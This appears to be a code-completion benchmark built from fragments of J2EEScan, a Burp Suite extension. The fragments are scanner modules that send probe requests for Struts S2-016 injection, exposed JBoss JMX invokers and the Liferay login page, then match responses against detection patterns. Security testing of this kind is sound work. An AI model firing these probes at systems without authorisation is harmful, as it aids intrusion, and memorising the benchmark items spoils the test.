baseRequestResponse.getHttpService(), modifiedRawRequest);
//get the body of the response
byte[] responseBytes = checkRequestResponse.getResponse();
String response = helpers.bytesToString(responseBytes);
IResponseInfo modifiedResponseInfo = callbacks.getHelpers().analyzeResponse(responseBytes);
// check the pattern on response body
for (Pattern detectionRule : DETECTION_REGEX) {
Matcher matcher = detectionRule.matcher(response);
if (matcher.find()) { | // Path: src/main/java/burp/HTTPMatcher.java
// public static Boolean isJavaApplicationByURL(URL url) {
//
// if (url == null) {
// return false;
// }
//
// String curExtension = "";
//
// int i = url.getPath().lastIndexOf('.');
// if (i > 0) {
// curExtension = url.getPath().substring(i + 1);
// } else {
// // If the path does not contain an extension
// // fallback and return true to minimize false negatives on checks
// return true;
// }
//
// List notJ2EETechs = new ArrayList<>();
// notJ2EETechs.add("php");
// notJ2EETechs.add("asp");
// notJ2EETechs.add("cgi");
// notJ2EETechs.add("pl");
//
// return (!notJ2EETechs.contains(curExtension));
//
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/ApacheStrutsS2016.java
import static burp.HTTPMatcher.isJavaApplicationByURL;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IParameter;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.io.UnsupportedEncodingException;
import java.net.URL;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
List<IParameter> parameters = reqInfo.getParameters();
//Remove URI parameters
for (IParameter param : parameters) {
rawrequest = callbacks.getHelpers().removeParameter(rawrequest, param);
}
rawrequest = callbacks.getHelpers().addParameter(rawrequest,
callbacks.getHelpers().buildParameter(redir, payload, IParameter.PARAM_URL)
);
//TODO Fix me hack
String utf8rawRequest = new String(rawrequest, "UTF-8");
modifiedRawRequest = utf8rawRequest.replaceFirst("=", "").getBytes();
// make a request containing our injection test in the insertion point
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), modifiedRawRequest);
//get the body of the response
byte[] responseBytes = checkRequestResponse.getResponse();
String response = helpers.bytesToString(responseBytes);
IResponseInfo modifiedResponseInfo = callbacks.getHelpers().analyzeResponse(responseBytes);
// check the pattern on response body
for (Pattern detectionRule : DETECTION_REGEX) {
Matcher matcher = detectionRule.matcher(response);
if (matcher.find()) { | issues.add(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/JBossJMXReadOnly.java | // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
| import burp.j2ee.CustomScanIssue;
import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List; |
IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
URL url = reqInfo.getUrl();
String host = url.getHost();
int port = url.getPort();
String system = host.concat(Integer.toString(port));
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
String protocol = url.getProtocol();
Boolean isSSL = (protocol.equals("https"));
for (String JBOSS_INVOKER_PATH : JBOSS_INVOKER_PATHS) {
try {
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), JBOSS_INVOKER_PATH);
byte[] jbosstest = helpers.buildHttpRequest(urlToTest);
byte[] response = callbacks.makeHttpRequest(url.getHost(),
url.getPort(), isSSL, jbosstest);
IResponseInfo jbossInvokerInfo = helpers.analyzeResponse(response);
// look for matches of our active check grep string | // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
// Path: src/main/java/burp/j2ee/issues/impl/JBossJMXReadOnly.java
import burp.j2ee.CustomScanIssue;
import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List;
IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
URL url = reqInfo.getUrl();
String host = url.getHost();
int port = url.getPort();
String system = host.concat(Integer.toString(port));
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
String protocol = url.getProtocol();
Boolean isSSL = (protocol.equals("https"));
for (String JBOSS_INVOKER_PATH : JBOSS_INVOKER_PATHS) {
try {
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), JBOSS_INVOKER_PATH);
byte[] jbosstest = helpers.buildHttpRequest(urlToTest);
byte[] response = callbacks.makeHttpRequest(url.getHost(),
url.getPort(), isSSL, jbosstest);
IResponseInfo jbossInvokerInfo = helpers.analyzeResponse(response);
// look for matches of our active check grep string | List<int[]> matcheInvoker = getMatches(response, GREP_STRING, helpers); |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/JBossJMXReadOnly.java | // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
| import burp.j2ee.CustomScanIssue;
import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List; | String host = url.getHost();
int port = url.getPort();
String system = host.concat(Integer.toString(port));
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
String protocol = url.getProtocol();
Boolean isSSL = (protocol.equals("https"));
for (String JBOSS_INVOKER_PATH : JBOSS_INVOKER_PATHS) {
try {
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), JBOSS_INVOKER_PATH);
byte[] jbosstest = helpers.buildHttpRequest(urlToTest);
byte[] response = callbacks.makeHttpRequest(url.getHost(),
url.getPort(), isSSL, jbosstest);
IResponseInfo jbossInvokerInfo = helpers.analyzeResponse(response);
// look for matches of our active check grep string
List<int[]> matcheInvoker = getMatches(response, GREP_STRING, helpers);
if (matcheInvoker.size() > 0) {
| // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
// Path: src/main/java/burp/j2ee/issues/impl/JBossJMXReadOnly.java
import burp.j2ee.CustomScanIssue;
import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List;
String host = url.getHost();
int port = url.getPort();
String system = host.concat(Integer.toString(port));
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
String protocol = url.getProtocol();
Boolean isSSL = (protocol.equals("https"));
for (String JBOSS_INVOKER_PATH : JBOSS_INVOKER_PATHS) {
try {
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), JBOSS_INVOKER_PATH);
byte[] jbosstest = helpers.buildHttpRequest(urlToTest);
byte[] response = callbacks.makeHttpRequest(url.getHost(),
url.getPort(), isSSL, jbosstest);
IResponseInfo jbossInvokerInfo = helpers.analyzeResponse(response);
// look for matches of our active check grep string
List<int[]> matcheInvoker = getMatches(response, GREP_STRING, helpers);
if (matcheInvoker.size() > 0) {
| issues.add(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/LiferayDefaultCredentials.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
//
// Path: src/main/java/burp/j2ee/IssuesHandler.java
// public class IssuesHandler {
//
//
// /**
// *
// * Verify for a specific protocol - host a specific
// * issue has been already detected
// *
// * @param callbacks IBurpExtenderCallbacks
// * @param vulnerabilityName vulnerability to check if it's present into the issues
// * @param protocol (http/https)
// * @param host the hostname
// *
// */
// public static boolean isvulnerabilityFound(IBurpExtenderCallbacks callbacks,
// String vulnerabilityName,
// String protocol,
// String host) {
//
// IScanIssue[] allIssues;
//
// allIssues = callbacks.getScanIssues(protocol + "://" + host);
//
// for (IScanIssue a : allIssues) {
//
// if (a.getIssueName().contains(vulnerabilityName)) {
// return true;
// }
// }
//
// return false;
// }
// }
| import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import static burp.HTTPMatcher.getApplicationContext;
import burp.CustomHttpRequestResponse;
import burp.IBurpExtenderCallbacks;
import burp.ICookie;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.IssuesHandler;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule; | private static LinkedHashSet<String> hs = new LinkedHashSet<String>();
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
List<IScanIssue> issues = new ArrayList<>();
helpers = callbacks.getHelpers();
stderr = new PrintWriter(callbacks.getStderr(), true);
IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
URL url = reqInfo.getUrl(), urlMod;
String host = url.getHost(), protocol = url.getProtocol();
int port = url.getPort();
Boolean useHttps = protocol.equals("https");
// Check if Liferay has been found
if (!IssuesHandler.isvulnerabilityFound(callbacks,
"J2EEScan - Liferay detected",
protocol,
host)) {
return issues;
}
// Check if the vulnerability has already been issued
if (IssuesHandler.isvulnerabilityFound(callbacks,
"J2EEScan - Liferay Hardening - Login page found",
protocol,
host)) {
return issues;
}
| // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
//
// Path: src/main/java/burp/j2ee/IssuesHandler.java
// public class IssuesHandler {
//
//
// /**
// *
// * Verify for a specific protocol - host a specific
// * issue has been already detected
// *
// * @param callbacks IBurpExtenderCallbacks
// * @param vulnerabilityName vulnerability to check if it's present into the issues
// * @param protocol (http/https)
// * @param host the hostname
// *
// */
// public static boolean isvulnerabilityFound(IBurpExtenderCallbacks callbacks,
// String vulnerabilityName,
// String protocol,
// String host) {
//
// IScanIssue[] allIssues;
//
// allIssues = callbacks.getScanIssues(protocol + "://" + host);
//
// for (IScanIssue a : allIssues) {
//
// if (a.getIssueName().contains(vulnerabilityName)) {
// return true;
// }
// }
//
// return false;
// }
// }
// Path: src/main/java/burp/j2ee/issues/impl/LiferayDefaultCredentials.java
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import static burp.HTTPMatcher.getApplicationContext;
import burp.CustomHttpRequestResponse;
import burp.IBurpExtenderCallbacks;
import burp.ICookie;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.IssuesHandler;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
private static LinkedHashSet<String> hs = new LinkedHashSet<String>();
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
List<IScanIssue> issues = new ArrayList<>();
helpers = callbacks.getHelpers();
stderr = new PrintWriter(callbacks.getStderr(), true);
IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
URL url = reqInfo.getUrl(), urlMod;
String host = url.getHost(), protocol = url.getProtocol();
int port = url.getPort();
Boolean useHttps = protocol.equals("https");
// Check if Liferay has been found
if (!IssuesHandler.isvulnerabilityFound(callbacks,
"J2EEScan - Liferay detected",
protocol,
host)) {
return issues;
}
// Check if the vulnerability has already been issued
if (IssuesHandler.isvulnerabilityFound(callbacks,
"J2EEScan - Liferay Hardening - Login page found",
protocol,
host)) {
return issues;
}
| String contextList[] = { "", getApplicationContext(url) }; |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/LiferayDefaultCredentials.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
//
// Path: src/main/java/burp/j2ee/IssuesHandler.java
// public class IssuesHandler {
//
//
// /**
// *
// * Verify for a specific protocol - host a specific
// * issue has been already detected
// *
// * @param callbacks IBurpExtenderCallbacks
// * @param vulnerabilityName vulnerability to check if it's present into the issues
// * @param protocol (http/https)
// * @param host the hostname
// *
// */
// public static boolean isvulnerabilityFound(IBurpExtenderCallbacks callbacks,
// String vulnerabilityName,
// String protocol,
// String host) {
//
// IScanIssue[] allIssues;
//
// allIssues = callbacks.getScanIssues(protocol + "://" + host);
//
// for (IScanIssue a : allIssues) {
//
// if (a.getIssueName().contains(vulnerabilityName)) {
// return true;
// }
// }
//
// return false;
// }
// }
| import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import static burp.HTTPMatcher.getApplicationContext;
import burp.CustomHttpRequestResponse;
import burp.IBurpExtenderCallbacks;
import burp.ICookie;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.IssuesHandler;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule; | // Check if the vulnerability has already been issued
if (IssuesHandler.isvulnerabilityFound(callbacks,
"J2EEScan - Liferay Hardening - Login page found",
protocol,
host)) {
return issues;
}
String contextList[] = { "", getApplicationContext(url) };
for(String context : contextList){
String system = host + Integer.toString(port) + context;
if(!hs.add(system))
continue;
try{
// Check for login page
urlMod = new URL(protocol, host, port, context + LOGIN_PATH);
byte[] request = helpers.buildHttpRequest(urlMod);
byte[] response = callbacks.makeHttpRequest(host, port, useHttps, request);
IResponseInfo respInfo = helpers.analyzeResponse(response);
if(respInfo.getStatusCode() == 200){
Pattern p1 = Pattern.compile(LOGIN_PATTERN[0], Pattern.DOTALL),
p2 = Pattern.compile(LOGIN_PATTERN[1], Pattern.DOTALL);
if(p1.matcher(helpers.bytesToString(response)).matches() && p2.matcher(helpers.bytesToString(response)).matches()){ | // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
